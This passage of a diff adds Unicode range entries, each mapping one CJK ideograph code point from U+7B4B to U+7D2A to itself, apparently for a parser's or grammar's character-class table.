+ ["\u7B4B", "\u7B4B"], /* CJK Ideograph */
+ ["\u7B4C", "\u7B4C"], /* CJK Ideograph */
+ ["\u7B4D", "\u7B4D"], /* CJK Ideograph */
+ ["\u7B4E", "\u7B4E"], /* CJK Ideograph */
+ ["\u7B4F", "\u7B4F"], /* CJK Ideograph */
+ ["\u7B50", "\u7B50"], /* CJK Ideograph */
+ ["\u7B51", "\u7B51"], /* CJK Ideograph */
+ ["\u7B52", "\u7B52"], /* CJK Ideograph */
+ ["\u7B53", "\u7B53"], /* CJK Ideograph */
+ ["\u7B54", "\u7B54"], /* CJK Ideograph */
+ ["\u7B55", "\u7B55"], /* CJK Ideograph */
+ ["\u7B56", "\u7B56"], /* CJK Ideograph */
+ ["\u7B57", "\u7B57"], /* CJK Ideograph */
+ ["\u7B58", "\u7B58"], /* CJK Ideograph */
+ ["\u7B59", "\u7B59"], /* CJK Ideograph */
+ ["\u7B5A", "\u7B5A"], /* CJK Ideograph */
+ ["\u7B5B", "\u7B5B"], /* CJK Ideograph */
+ ["\u7B5C", "\u7B5C"], /* CJK Ideograph */
+ ["\u7B5D", "\u7B5D"], /* CJK Ideograph */
+ ["\u7B5E", "\u7B5E"], /* CJK Ideograph */
+ ["\u7B5F", "\u7B5F"], /* CJK Ideograph */
+ ["\u7B60", "\u7B60"], /* CJK Ideograph */
+ ["\u7B61", "\u7B61"], /* CJK Ideograph */
+ ["\u7B62", "\u7B62"], /* CJK Ideograph */
+ ["\u7B63", "\u7B63"], /* CJK Ideograph */
+ ["\u7B64", "\u7B64"], /* CJK Ideograph */
+ ["\u7B65", "\u7B65"], /* CJK Ideograph */
+ ["\u7B66", "\u7B66"], /* CJK Ideograph */
+ ["\u7B67", "\u7B67"], /* CJK Ideograph */
+ ["\u7B68", "\u7B68"], /* CJK Ideograph */
+ ["\u7B69", "\u7B69"], /* CJK Ideograph */
+ ["\u7B6A", "\u7B6A"], /* CJK Ideograph */
+ ["\u7B6B", "\u7B6B"], /* CJK Ideograph */
+ ["\u7B6C", "\u7B6C"], /* CJK Ideograph */
+ ["\u7B6D", "\u7B6D"], /* CJK Ideograph */
+ ["\u7B6E", "\u7B6E"], /* CJK Ideograph */
+ ["\u7B6F", "\u7B6F"], /* CJK Ideograph */
+ ["\u7B70", "\u7B70"], /* CJK Ideograph */
+ ["\u7B71", "\u7B71"], /* CJK Ideograph */
+ ["\u7B72", "\u7B72"], /* CJK Ideograph */
+ ["\u7B73", "\u7B73"], /* CJK Ideograph */
+ ["\u7B74", "\u7B74"], /* CJK Ideograph */
+ ["\u7B75", "\u7B75"], /* CJK Ideograph */
+ ["\u7B76", "\u7B76"], /* CJK Ideograph */
+ ["\u7B77", "\u7B77"], /* CJK Ideograph */
+ ["\u7B78", "\u7B78"], /* CJK Ideograph */
+ ["\u7B79", "\u7B79"], /* CJK Ideograph */
+ ["\u7B7A", "\u7B7A"], /* CJK Ideograph */
+ ["\u7B7B", "\u7B7B"], /* CJK Ideograph */
+ ["\u7B7C", "\u7B7C"], /* CJK Ideograph */
+ ["\u7B7D", "\u7B7D"], /* CJK Ideograph */
+ ["\u7B7E", "\u7B7E"], /* CJK Ideograph */
+ ["\u7B7F", "\u7B7F"], /* CJK Ideograph */
+ ["\u7B80", "\u7B80"], /* CJK Ideograph */
+ ["\u7B81", "\u7B81"], /* CJK Ideograph */
+ ["\u7B82", "\u7B82"], /* CJK Ideograph */
+ ["\u7B83", "\u7B83"], /* CJK Ideograph */
+ ["\u7B84", "\u7B84"], /* CJK Ideograph */
+ ["\u7B85", "\u7B85"], /* CJK Ideograph */
+ ["\u7B86", "\u7B86"], /* CJK Ideograph */
+ ["\u7B87", "\u7B87"], /* CJK Ideograph */
+ ["\u7B88", "\u7B88"], /* CJK Ideograph */
+ ["\u7B89", "\u7B89"], /* CJK Ideograph */
+ ["\u7B8A", "\u7B8A"], /* CJK Ideograph */
+ ["\u7B8B", "\u7B8B"], /* CJK Ideograph */
+ ["\u7B8C", "\u7B8C"], /* CJK Ideograph */
+ ["\u7B8D", "\u7B8D"], /* CJK Ideograph */
+ ["\u7B8E", "\u7B8E"], /* CJK Ideograph */
+ ["\u7B8F", "\u7B8F"], /* CJK Ideograph */
+ ["\u7B90", "\u7B90"], /* CJK Ideograph */
+ ["\u7B91", "\u7B91"], /* CJK Ideograph */
+ ["\u7B92", "\u7B92"], /* CJK Ideograph */
+ ["\u7B93", "\u7B93"], /* CJK Ideograph */
+ ["\u7B94", "\u7B94"], /* CJK Ideograph */
+ ["\u7B95", "\u7B95"], /* CJK Ideograph */
+ ["\u7B96", "\u7B96"], /* CJK Ideograph */
+ ["\u7B97", "\u7B97"], /* CJK Ideograph */
+ ["\u7B98", "\u7B98"], /* CJK Ideograph */
+ ["\u7B99", "\u7B99"], /* CJK Ideograph */
+ ["\u7B9A", "\u7B9A"], /* CJK Ideograph */
+ ["\u7B9B", "\u7B9B"], /* CJK Ideograph */
+ ["\u7B9C", "\u7B9C"], /* CJK Ideograph */
+ ["\u7B9D", "\u7B9D"], /* CJK Ideograph */
+ ["\u7B9E", "\u7B9E"], /* CJK Ideograph */
+ ["\u7B9F", "\u7B9F"], /* CJK Ideograph */
+ ["\u7BA0", "\u7BA0"], /* CJK Ideograph */
+ ["\u7BA1", "\u7BA1"], /* CJK Ideograph */
+ ["\u7BA2", "\u7BA2"], /* CJK Ideograph */
+ ["\u7BA3", "\u7BA3"], /* CJK Ideograph */
+ ["\u7BA4", "\u7BA4"], /* CJK Ideograph */
+ ["\u7BA5", "\u7BA5"], /* CJK Ideograph */
+ ["\u7BA6", "\u7BA6"], /* CJK Ideograph */
+ ["\u7BA7", "\u7BA7"], /* CJK Ideograph */
+ ["\u7BA8", "\u7BA8"], /* CJK Ideograph */
+ ["\u7BA9", "\u7BA9"], /* CJK Ideograph */
+ ["\u7BAA", "\u7BAA"], /* CJK Ideograph */
+ ["\u7BAB", "\u7BAB"], /* CJK Ideograph */
+ ["\u7BAC", "\u7BAC"], /* CJK Ideograph */
+ ["\u7BAD", "\u7BAD"], /* CJK Ideograph */
+ ["\u7BAE", "\u7BAE"], /* CJK Ideograph */
+ ["\u7BAF", "\u7BAF"], /* CJK Ideograph */
+ ["\u7BB0", "\u7BB0"], /* CJK Ideograph */
+ ["\u7BB1", "\u7BB1"], /* CJK Ideograph */
+ ["\u7BB2", "\u7BB2"], /* CJK Ideograph */
+ ["\u7BB3", "\u7BB3"], /* CJK Ideograph */
+ ["\u7BB4", "\u7BB4"], /* CJK Ideograph */
+ ["\u7BB5", "\u7BB5"], /* CJK Ideograph */
+ ["\u7BB6", "\u7BB6"], /* CJK Ideograph */
+ ["\u7BB7", "\u7BB7"], /* CJK Ideograph */
+ ["\u7BB8", "\u7BB8"], /* CJK Ideograph */
+ ["\u7BB9", "\u7BB9"], /* CJK Ideograph */
+ ["\u7BBA", "\u7BBA"], /* CJK Ideograph */
+ ["\u7BBB", "\u7BBB"], /* CJK Ideograph */
+ ["\u7BBC", "\u7BBC"], /* CJK Ideograph */
+ ["\u7BBD", "\u7BBD"], /* CJK Ideograph */
+ ["\u7BBE", "\u7BBE"], /* CJK Ideograph */
+ ["\u7BBF", "\u7BBF"], /* CJK Ideograph */
+ ["\u7BC0", "\u7BC0"], /* CJK Ideograph */
+ ["\u7BC1", "\u7BC1"], /* CJK Ideograph */
+ ["\u7BC2", "\u7BC2"], /* CJK Ideograph */
+ ["\u7BC3", "\u7BC3"], /* CJK Ideograph */
+ ["\u7BC4", "\u7BC4"], /* CJK Ideograph */
+ ["\u7BC5", "\u7BC5"], /* CJK Ideograph */
+ ["\u7BC6", "\u7BC6"], /* CJK Ideograph */
+ ["\u7BC7", "\u7BC7"], /* CJK Ideograph */
+ ["\u7BC8", "\u7BC8"], /* CJK Ideograph */
+ ["\u7BC9", "\u7BC9"], /* CJK Ideograph */
+ ["\u7BCA", "\u7BCA"], /* CJK Ideograph */
+ ["\u7BCB", "\u7BCB"], /* CJK Ideograph */
+ ["\u7BCC", "\u7BCC"], /* CJK Ideograph */
+ ["\u7BCD", "\u7BCD"], /* CJK Ideograph */
+ ["\u7BCE", "\u7BCE"], /* CJK Ideograph */
+ ["\u7BCF", "\u7BCF"], /* CJK Ideograph */
+ ["\u7BD0", "\u7BD0"], /* CJK Ideograph */
+ ["\u7BD1", "\u7BD1"], /* CJK Ideograph */
+ ["\u7BD2", "\u7BD2"], /* CJK Ideograph */
+ ["\u7BD3", "\u7BD3"], /* CJK Ideograph */
+ ["\u7BD4", "\u7BD4"], /* CJK Ideograph */
+ ["\u7BD5", "\u7BD5"], /* CJK Ideograph */
+ ["\u7BD6", "\u7BD6"], /* CJK Ideograph */
+ ["\u7BD7", "\u7BD7"], /* CJK Ideograph */
+ ["\u7BD8", "\u7BD8"], /* CJK Ideograph */
+ ["\u7BD9", "\u7BD9"], /* CJK Ideograph */
+ ["\u7BDA", "\u7BDA"], /* CJK Ideograph */
+ ["\u7BDB", "\u7BDB"], /* CJK Ideograph */
+ ["\u7BDC", "\u7BDC"], /* CJK Ideograph */
+ ["\u7BDD", "\u7BDD"], /* CJK Ideograph */
+ ["\u7BDE", "\u7BDE"], /* CJK Ideograph */
+ ["\u7BDF", "\u7BDF"], /* CJK Ideograph */
+ ["\u7BE0", "\u7BE0"], /* CJK Ideograph */
+ ["\u7BE1", "\u7BE1"], /* CJK Ideograph */
+ ["\u7BE2", "\u7BE2"], /* CJK Ideograph */
+ ["\u7BE3", "\u7BE3"], /* CJK Ideograph */
+ ["\u7BE4", "\u7BE4"], /* CJK Ideograph */
+ ["\u7BE5", "\u7BE5"], /* CJK Ideograph */
+ ["\u7BE6", "\u7BE6"], /* CJK Ideograph */
+ ["\u7BE7", "\u7BE7"], /* CJK Ideograph */
+ ["\u7BE8", "\u7BE8"], /* CJK Ideograph */
+ ["\u7BE9", "\u7BE9"], /* CJK Ideograph */
+ ["\u7BEA", "\u7BEA"], /* CJK Ideograph */
+ ["\u7BEB", "\u7BEB"], /* CJK Ideograph */
+ ["\u7BEC", "\u7BEC"], /* CJK Ideograph */
+ ["\u7BED", "\u7BED"], /* CJK Ideograph */
+ ["\u7BEE", "\u7BEE"], /* CJK Ideograph */
+ ["\u7BEF", "\u7BEF"], /* CJK Ideograph */
+ ["\u7BF0", "\u7BF0"], /* CJK Ideograph */
+ ["\u7BF1", "\u7BF1"], /* CJK Ideograph */
+ ["\u7BF2", "\u7BF2"], /* CJK Ideograph */
+ ["\u7BF3", "\u7BF3"], /* CJK Ideograph */
+ ["\u7BF4", "\u7BF4"], /* CJK Ideograph */
+ ["\u7BF5", "\u7BF5"], /* CJK Ideograph */
+ ["\u7BF6", "\u7BF6"], /* CJK Ideograph */
+ ["\u7BF7", "\u7BF7"], /* CJK Ideograph */
+ ["\u7BF8", "\u7BF8"], /* CJK Ideograph */
+ ["\u7BF9", "\u7BF9"], /* CJK Ideograph */
+ ["\u7BFA", "\u7BFA"], /* CJK Ideograph */
+ ["\u7BFB", "\u7BFB"], /* CJK Ideograph */
+ ["\u7BFC", "\u7BFC"], /* CJK Ideograph */
+ ["\u7BFD", "\u7BFD"], /* CJK Ideograph */
+ ["\u7BFE", "\u7BFE"], /* CJK Ideograph */
+ ["\u7BFF", "\u7BFF"], /* CJK Ideograph */
+ ["\u7C00", "\u7C00"], /* CJK Ideograph */
+ ["\u7C01", "\u7C01"], /* CJK Ideograph */
+ ["\u7C02", "\u7C02"], /* CJK Ideograph */
+ ["\u7C03", "\u7C03"], /* CJK Ideograph */
+ ["\u7C04", "\u7C04"], /* CJK Ideograph */
+ ["\u7C05", "\u7C05"], /* CJK Ideograph */
+ ["\u7C06", "\u7C06"], /* CJK Ideograph */
+ ["\u7C07", "\u7C07"], /* CJK Ideograph */
+ ["\u7C08", "\u7C08"], /* CJK Ideograph */
+ ["\u7C09", "\u7C09"], /* CJK Ideograph */
+ ["\u7C0A", "\u7C0A"], /* CJK Ideograph */
+ ["\u7C0B", "\u7C0B"], /* CJK Ideograph */
+ ["\u7C0C", "\u7C0C"], /* CJK Ideograph */
+ ["\u7C0D", "\u7C0D"], /* CJK Ideograph */
+ ["\u7C0E", "\u7C0E"], /* CJK Ideograph */
+ ["\u7C0F", "\u7C0F"], /* CJK Ideograph */
+ ["\u7C10", "\u7C10"], /* CJK Ideograph */
+ ["\u7C11", "\u7C11"], /* CJK Ideograph */
+ ["\u7C12", "\u7C12"], /* CJK Ideograph */
+ ["\u7C13", "\u7C13"], /* CJK Ideograph */
+ ["\u7C14", "\u7C14"], /* CJK Ideograph */
+ ["\u7C15", "\u7C15"], /* CJK Ideograph */
+ ["\u7C16", "\u7C16"], /* CJK Ideograph */
+ ["\u7C17", "\u7C17"], /* CJK Ideograph */
+ ["\u7C18", "\u7C18"], /* CJK Ideograph */
+ ["\u7C19", "\u7C19"], /* CJK Ideograph */
+ ["\u7C1A", "\u7C1A"], /* CJK Ideograph */
+ ["\u7C1B", "\u7C1B"], /* CJK Ideograph */
+ ["\u7C1C", "\u7C1C"], /* CJK Ideograph */
+ ["\u7C1D", "\u7C1D"], /* CJK Ideograph */
+ ["\u7C1E", "\u7C1E"], /* CJK Ideograph */
+ ["\u7C1F", "\u7C1F"], /* CJK Ideograph */
+ ["\u7C20", "\u7C20"], /* CJK Ideograph */
+ ["\u7C21", "\u7C21"], /* CJK Ideograph */
+ ["\u7C22", "\u7C22"], /* CJK Ideograph */
+ ["\u7C23", "\u7C23"], /* CJK Ideograph */
+ ["\u7C24", "\u7C24"], /* CJK Ideograph */
+ ["\u7C25", "\u7C25"], /* CJK Ideograph */
+ ["\u7C26", "\u7C26"], /* CJK Ideograph */
+ ["\u7C27", "\u7C27"], /* CJK Ideograph */
+ ["\u7C28", "\u7C28"], /* CJK Ideograph */
+ ["\u7C29", "\u7C29"], /* CJK Ideograph */
+ ["\u7C2A", "\u7C2A"], /* CJK Ideograph */
+ ["\u7C2B", "\u7C2B"], /* CJK Ideograph */
+ ["\u7C2C", "\u7C2C"], /* CJK Ideograph */
+ ["\u7C2D", "\u7C2D"], /* CJK Ideograph */
+ ["\u7C2E", "\u7C2E"], /* CJK Ideograph */
+ ["\u7C2F", "\u7C2F"], /* CJK Ideograph */
+ ["\u7C30", "\u7C30"], /* CJK Ideograph */
+ ["\u7C31", "\u7C31"], /* CJK Ideograph */
+ ["\u7C32", "\u7C32"], /* CJK Ideograph */
+ ["\u7C33", "\u7C33"], /* CJK Ideograph */
+ ["\u7C34", "\u7C34"], /* CJK Ideograph */
+ ["\u7C35", "\u7C35"], /* CJK Ideograph */
+ ["\u7C36", "\u7C36"], /* CJK Ideograph */
+ ["\u7C37", "\u7C37"], /* CJK Ideograph */
+ ["\u7C38", "\u7C38"], /* CJK Ideograph */
+ ["\u7C39", "\u7C39"], /* CJK Ideograph */
+ ["\u7C3A", "\u7C3A"], /* CJK Ideograph */
+ ["\u7C3B", "\u7C3B"], /* CJK Ideograph */
+ ["\u7C3C", "\u7C3C"], /* CJK Ideograph */
+ ["\u7C3D", "\u7C3D"], /* CJK Ideograph */
+ ["\u7C3E", "\u7C3E"], /* CJK Ideograph */
+ ["\u7C3F", "\u7C3F"], /* CJK Ideograph */
+ ["\u7C40", "\u7C40"], /* CJK Ideograph */
+ ["\u7C41", "\u7C41"], /* CJK Ideograph */
+ ["\u7C42", "\u7C42"], /* CJK Ideograph */
+ ["\u7C43", "\u7C43"], /* CJK Ideograph */
+ ["\u7C44", "\u7C44"], /* CJK Ideograph */
+ ["\u7C45", "\u7C45"], /* CJK Ideograph */
+ ["\u7C46", "\u7C46"], /* CJK Ideograph */
+ ["\u7C47", "\u7C47"], /* CJK Ideograph */
+ ["\u7C48", "\u7C48"], /* CJK Ideograph */
+ ["\u7C49", "\u7C49"], /* CJK Ideograph */
+ ["\u7C4A", "\u7C4A"], /* CJK Ideograph */
+ ["\u7C4B", "\u7C4B"], /* CJK Ideograph */
+ ["\u7C4C", "\u7C4C"], /* CJK Ideograph */
+ ["\u7C4D", "\u7C4D"], /* CJK Ideograph */
+ ["\u7C4E", "\u7C4E"], /* CJK Ideograph */
+ ["\u7C4F", "\u7C4F"], /* CJK Ideograph */
+ ["\u7C50", "\u7C50"], /* CJK Ideograph */
+ ["\u7C51", "\u7C51"], /* CJK Ideograph */
+ ["\u7C52", "\u7C52"], /* CJK Ideograph */
+ ["\u7C53", "\u7C53"], /* CJK Ideograph */
+ ["\u7C54", "\u7C54"], /* CJK Ideograph */
+ ["\u7C55", "\u7C55"], /* CJK Ideograph */
+ ["\u7C56", "\u7C56"], /* CJK Ideograph */
+ ["\u7C57", "\u7C57"], /* CJK Ideograph */
+ ["\u7C58", "\u7C58"], /* CJK Ideograph */
+ ["\u7C59", "\u7C59"], /* CJK Ideograph */
+ ["\u7C5A", "\u7C5A"], /* CJK Ideograph */
+ ["\u7C5B", "\u7C5B"], /* CJK Ideograph */
+ ["\u7C5C", "\u7C5C"], /* CJK Ideograph */
+ ["\u7C5D", "\u7C5D"], /* CJK Ideograph */
+ ["\u7C5E", "\u7C5E"], /* CJK Ideograph */
+ ["\u7C5F", "\u7C5F"], /* CJK Ideograph */
+ ["\u7C60", "\u7C60"], /* CJK Ideograph */
+ ["\u7C61", "\u7C61"], /* CJK Ideograph */
+ ["\u7C62", "\u7C62"], /* CJK Ideograph */
+ ["\u7C63", "\u7C63"], /* CJK Ideograph */
+ ["\u7C64", "\u7C64"], /* CJK Ideograph */
+ ["\u7C65", "\u7C65"], /* CJK Ideograph */
+ ["\u7C66", "\u7C66"], /* CJK Ideograph */
+ ["\u7C67", "\u7C67"], /* CJK Ideograph */
+ ["\u7C68", "\u7C68"], /* CJK Ideograph */
+ ["\u7C69", "\u7C69"], /* CJK Ideograph */
+ ["\u7C6A", "\u7C6A"], /* CJK Ideograph */
+ ["\u7C6B", "\u7C6B"], /* CJK Ideograph */
+ ["\u7C6C", "\u7C6C"], /* CJK Ideograph */
+ ["\u7C6D", "\u7C6D"], /* CJK Ideograph */
+ ["\u7C6E", "\u7C6E"], /* CJK Ideograph */
+ ["\u7C6F", "\u7C6F"], /* CJK Ideograph */
+ ["\u7C70", "\u7C70"], /* CJK Ideograph */
+ ["\u7C71", "\u7C71"], /* CJK Ideograph */
+ ["\u7C72", "\u7C72"], /* CJK Ideograph */
+ ["\u7C73", "\u7C73"], /* CJK Ideograph */
+ ["\u7C74", "\u7C74"], /* CJK Ideograph */
+ ["\u7C75", "\u7C75"], /* CJK Ideograph */
+ ["\u7C76", "\u7C76"], /* CJK Ideograph */
+ ["\u7C77", "\u7C77"], /* CJK Ideograph */
+ ["\u7C78", "\u7C78"], /* CJK Ideograph */
+ ["\u7C79", "\u7C79"], /* CJK Ideograph */
+ ["\u7C7A", "\u7C7A"], /* CJK Ideograph */
+ ["\u7C7B", "\u7C7B"], /* CJK Ideograph */
+ ["\u7C7C", "\u7C7C"], /* CJK Ideograph */
+ ["\u7C7D", "\u7C7D"], /* CJK Ideograph */
+ ["\u7C7E", "\u7C7E"], /* CJK Ideograph */
+ ["\u7C7F", "\u7C7F"], /* CJK Ideograph */
+ ["\u7C80", "\u7C80"], /* CJK Ideograph */
+ ["\u7C81", "\u7C81"], /* CJK Ideograph */
+ ["\u7C82", "\u7C82"], /* CJK Ideograph */
+ ["\u7C83", "\u7C83"], /* CJK Ideograph */
+ ["\u7C84", "\u7C84"], /* CJK Ideograph */
+ ["\u7C85", "\u7C85"], /* CJK Ideograph */
+ ["\u7C86", "\u7C86"], /* CJK Ideograph */
+ ["\u7C87", "\u7C87"], /* CJK Ideograph */
+ ["\u7C88", "\u7C88"], /* CJK Ideograph */
+ ["\u7C89", "\u7C89"], /* CJK Ideograph */
+ ["\u7C8A", "\u7C8A"], /* CJK Ideograph */
+ ["\u7C8B", "\u7C8B"], /* CJK Ideograph */
+ ["\u7C8C", "\u7C8C"], /* CJK Ideograph */
+ ["\u7C8D", "\u7C8D"], /* CJK Ideograph */
+ ["\u7C8E", "\u7C8E"], /* CJK Ideograph */
+ ["\u7C8F", "\u7C8F"], /* CJK Ideograph */
+ ["\u7C90", "\u7C90"], /* CJK Ideograph */
+ ["\u7C91", "\u7C91"], /* CJK Ideograph */
+ ["\u7C92", "\u7C92"], /* CJK Ideograph */
+ ["\u7C93", "\u7C93"], /* CJK Ideograph */
+ ["\u7C94", "\u7C94"], /* CJK Ideograph */
+ ["\u7C95", "\u7C95"], /* CJK Ideograph */
+ ["\u7C96", "\u7C96"], /* CJK Ideograph */
+ ["\u7C97", "\u7C97"], /* CJK Ideograph */
+ ["\u7C98", "\u7C98"], /* CJK Ideograph */
+ ["\u7C99", "\u7C99"], /* CJK Ideograph */
+ ["\u7C9A", "\u7C9A"], /* CJK Ideograph */
+ ["\u7C9B", "\u7C9B"], /* CJK Ideograph */
+ ["\u7C9C", "\u7C9C"], /* CJK Ideograph */
+ ["\u7C9D", "\u7C9D"], /* CJK Ideograph */
+ ["\u7C9E", "\u7C9E"], /* CJK Ideograph */
+ ["\u7C9F", "\u7C9F"], /* CJK Ideograph */
+ ["\u7CA0", "\u7CA0"], /* CJK Ideograph */
+ ["\u7CA1", "\u7CA1"], /* CJK Ideograph */
+ ["\u7CA2", "\u7CA2"], /* CJK Ideograph */
+ ["\u7CA3", "\u7CA3"], /* CJK Ideograph */
+ ["\u7CA4", "\u7CA4"], /* CJK Ideograph */
+ ["\u7CA5", "\u7CA5"], /* CJK Ideograph */
+ ["\u7CA6", "\u7CA6"], /* CJK Ideograph */
+ ["\u7CA7", "\u7CA7"], /* CJK Ideograph */
+ ["\u7CA8", "\u7CA8"], /* CJK Ideograph */
+ ["\u7CA9", "\u7CA9"], /* CJK Ideograph */
+ ["\u7CAA", "\u7CAA"], /* CJK Ideograph */
+ ["\u7CAB", "\u7CAB"], /* CJK Ideograph */
+ ["\u7CAC", "\u7CAC"], /* CJK Ideograph */
+ ["\u7CAD", "\u7CAD"], /* CJK Ideograph */
+ ["\u7CAE", "\u7CAE"], /* CJK Ideograph */
+ ["\u7CAF", "\u7CAF"], /* CJK Ideograph */
+ ["\u7CB0", "\u7CB0"], /* CJK Ideograph */
+ ["\u7CB1", "\u7CB1"], /* CJK Ideograph */
+ ["\u7CB2", "\u7CB2"], /* CJK Ideograph */
+ ["\u7CB3", "\u7CB3"], /* CJK Ideograph */
+ ["\u7CB4", "\u7CB4"], /* CJK Ideograph */
+ ["\u7CB5", "\u7CB5"], /* CJK Ideograph */
+ ["\u7CB6", "\u7CB6"], /* CJK Ideograph */
+ ["\u7CB7", "\u7CB7"], /* CJK Ideograph */
+ ["\u7CB8", "\u7CB8"], /* CJK Ideograph */
+ ["\u7CB9", "\u7CB9"], /* CJK Ideograph */
+ ["\u7CBA", "\u7CBA"], /* CJK Ideograph */
+ ["\u7CBB", "\u7CBB"], /* CJK Ideograph */
+ ["\u7CBC", "\u7CBC"], /* CJK Ideograph */
+ ["\u7CBD", "\u7CBD"], /* CJK Ideograph */
+ ["\u7CBE", "\u7CBE"], /* CJK Ideograph */
+ ["\u7CBF", "\u7CBF"], /* CJK Ideograph */
+ ["\u7CC0", "\u7CC0"], /* CJK Ideograph */
+ ["\u7CC1", "\u7CC1"], /* CJK Ideograph */
+ ["\u7CC2", "\u7CC2"], /* CJK Ideograph */
+ ["\u7CC3", "\u7CC3"], /* CJK Ideograph */
+ ["\u7CC4", "\u7CC4"], /* CJK Ideograph */
+ ["\u7CC5", "\u7CC5"], /* CJK Ideograph */
+ ["\u7CC6", "\u7CC6"], /* CJK Ideograph */
+ ["\u7CC7", "\u7CC7"], /* CJK Ideograph */
+ ["\u7CC8", "\u7CC8"], /* CJK Ideograph */
+ ["\u7CC9", "\u7CC9"], /* CJK Ideograph */
+ ["\u7CCA", "\u7CCA"], /* CJK Ideograph */
+ ["\u7CCB", "\u7CCB"], /* CJK Ideograph */
+ ["\u7CCC", "\u7CCC"], /* CJK Ideograph */
+ ["\u7CCD", "\u7CCD"], /* CJK Ideograph */
+ ["\u7CCE", "\u7CCE"], /* CJK Ideograph */
+ ["\u7CCF", "\u7CCF"], /* CJK Ideograph */
+ ["\u7CD0", "\u7CD0"], /* CJK Ideograph */
+ ["\u7CD1", "\u7CD1"], /* CJK Ideograph */
+ ["\u7CD2", "\u7CD2"], /* CJK Ideograph */
+ ["\u7CD3", "\u7CD3"], /* CJK Ideograph */
+ ["\u7CD4", "\u7CD4"], /* CJK Ideograph */
+ ["\u7CD5", "\u7CD5"], /* CJK Ideograph */
+ ["\u7CD6", "\u7CD6"], /* CJK Ideograph */
+ ["\u7CD7", "\u7CD7"], /* CJK Ideograph */
+ ["\u7CD8", "\u7CD8"], /* CJK Ideograph */
+ ["\u7CD9", "\u7CD9"], /* CJK Ideograph */
+ ["\u7CDA", "\u7CDA"], /* CJK Ideograph */
+ ["\u7CDB", "\u7CDB"], /* CJK Ideograph */
+ ["\u7CDC", "\u7CDC"], /* CJK Ideograph */
+ ["\u7CDD", "\u7CDD"], /* CJK Ideograph */
+ ["\u7CDE", "\u7CDE"], /* CJK Ideograph */
+ ["\u7CDF", "\u7CDF"], /* CJK Ideograph */
+ ["\u7CE0", "\u7CE0"], /* CJK Ideograph */
+ ["\u7CE1", "\u7CE1"], /* CJK Ideograph */
+ ["\u7CE2", "\u7CE2"], /* CJK Ideograph */
+ ["\u7CE3", "\u7CE3"], /* CJK Ideograph */
+ ["\u7CE4", "\u7CE4"], /* CJK Ideograph */
+ ["\u7CE5", "\u7CE5"], /* CJK Ideograph */
+ ["\u7CE6", "\u7CE6"], /* CJK Ideograph */
+ ["\u7CE7", "\u7CE7"], /* CJK Ideograph */
+ ["\u7CE8", "\u7CE8"], /* CJK Ideograph */
+ ["\u7CE9", "\u7CE9"], /* CJK Ideograph */
+ ["\u7CEA", "\u7CEA"], /* CJK Ideograph */
+ ["\u7CEB", "\u7CEB"], /* CJK Ideograph */
+ ["\u7CEC", "\u7CEC"], /* CJK Ideograph */
+ ["\u7CED", "\u7CED"], /* CJK Ideograph */
+ ["\u7CEE", "\u7CEE"], /* CJK Ideograph */
+ ["\u7CEF", "\u7CEF"], /* CJK Ideograph */
+ ["\u7CF0", "\u7CF0"], /* CJK Ideograph */
+ ["\u7CF1", "\u7CF1"], /* CJK Ideograph */
+ ["\u7CF2", "\u7CF2"], /* CJK Ideograph */
+ ["\u7CF3", "\u7CF3"], /* CJK Ideograph */
+ ["\u7CF4", "\u7CF4"], /* CJK Ideograph */
+ ["\u7CF5", "\u7CF5"], /* CJK Ideograph */
+ ["\u7CF6", "\u7CF6"], /* CJK Ideograph */
+ ["\u7CF7", "\u7CF7"], /* CJK Ideograph */
+ ["\u7CF8", "\u7CF8"], /* CJK Ideograph */
+ ["\u7CF9", "\u7CF9"], /* CJK Ideograph */
+ ["\u7CFA", "\u7CFA"], /* CJK Ideograph */
+ ["\u7CFB", "\u7CFB"], /* CJK Ideograph */
+ ["\u7CFC", "\u7CFC"], /* CJK Ideograph */
+ ["\u7CFD", "\u7CFD"], /* CJK Ideograph */
+ ["\u7CFE", "\u7CFE"], /* CJK Ideograph */
+ ["\u7CFF", "\u7CFF"], /* CJK Ideograph */
+ ["\u7D00", "\u7D00"], /* CJK Ideograph */
+ ["\u7D01", "\u7D01"], /* CJK Ideograph */
+ ["\u7D02", "\u7D02"], /* CJK Ideograph */
+ ["\u7D03", "\u7D03"], /* CJK Ideograph */
+ ["\u7D04", "\u7D04"], /* CJK Ideograph */
+ ["\u7D05", "\u7D05"], /* CJK Ideograph */
+ ["\u7D06", "\u7D06"], /* CJK Ideograph */
+ ["\u7D07", "\u7D07"], /* CJK Ideograph */
+ ["\u7D08", "\u7D08"], /* CJK Ideograph */
+ ["\u7D09", "\u7D09"], /* CJK Ideograph */
+ ["\u7D0A", "\u7D0A"], /* CJK Ideograph */
+ ["\u7D0B", "\u7D0B"], /* CJK Ideograph */
+ ["\u7D0C", "\u7D0C"], /* CJK Ideograph */
+ ["\u7D0D", "\u7D0D"], /* CJK Ideograph */
+ ["\u7D0E", "\u7D0E"], /* CJK Ideograph */
+ ["\u7D0F", "\u7D0F"], /* CJK Ideograph */
+ ["\u7D10", "\u7D10"], /* CJK Ideograph */
+ ["\u7D11", "\u7D11"], /* CJK Ideograph */
+ ["\u7D12", "\u7D12"], /* CJK Ideograph */
+ ["\u7D13", "\u7D13"], /* CJK Ideograph */
+ ["\u7D14", "\u7D14"], /* CJK Ideograph */
+ ["\u7D15", "\u7D15"], /* CJK Ideograph */
+ ["\u7D16", "\u7D16"], /* CJK Ideograph */
+ ["\u7D17", "\u7D17"], /* CJK Ideograph */
+ ["\u7D18", "\u7D18"], /* CJK Ideograph */
+ ["\u7D19", "\u7D19"], /* CJK Ideograph */
+ ["\u7D1A", "\u7D1A"], /* CJK Ideograph */
+ ["\u7D1B", "\u7D1B"], /* CJK Ideograph */
+ ["\u7D1C", "\u7D1C"], /* CJK Ideograph */
+ ["\u7D1D", "\u7D1D"], /* CJK Ideograph */
+ ["\u7D1E", "\u7D1E"], /* CJK Ideograph */
+ ["\u7D1F", "\u7D1F"], /* CJK Ideograph */
+ ["\u7D20", "\u7D20"], /* CJK Ideograph */
+ ["\u7D21", "\u7D21"], /* CJK Ideograph */
+ ["\u7D22", "\u7D22"], /* CJK Ideograph */
+ ["\u7D23", "\u7D23"], /* CJK Ideograph */
+ ["\u7D24", "\u7D24"], /* CJK Ideograph */
+ ["\u7D25", "\u7D25"], /* CJK Ideograph */
+ ["\u7D26", "\u7D26"], /* CJK Ideograph */
+ ["\u7D27", "\u7D27"], /* CJK Ideograph */
+ ["\u7D28", "\u7D28"], /* CJK Ideograph */
+ ["\u7D29", "\u7D29"], /* CJK Ideograph */
+ ["\u7D2A", "\u7D2A"], /* CJK Ideograph */
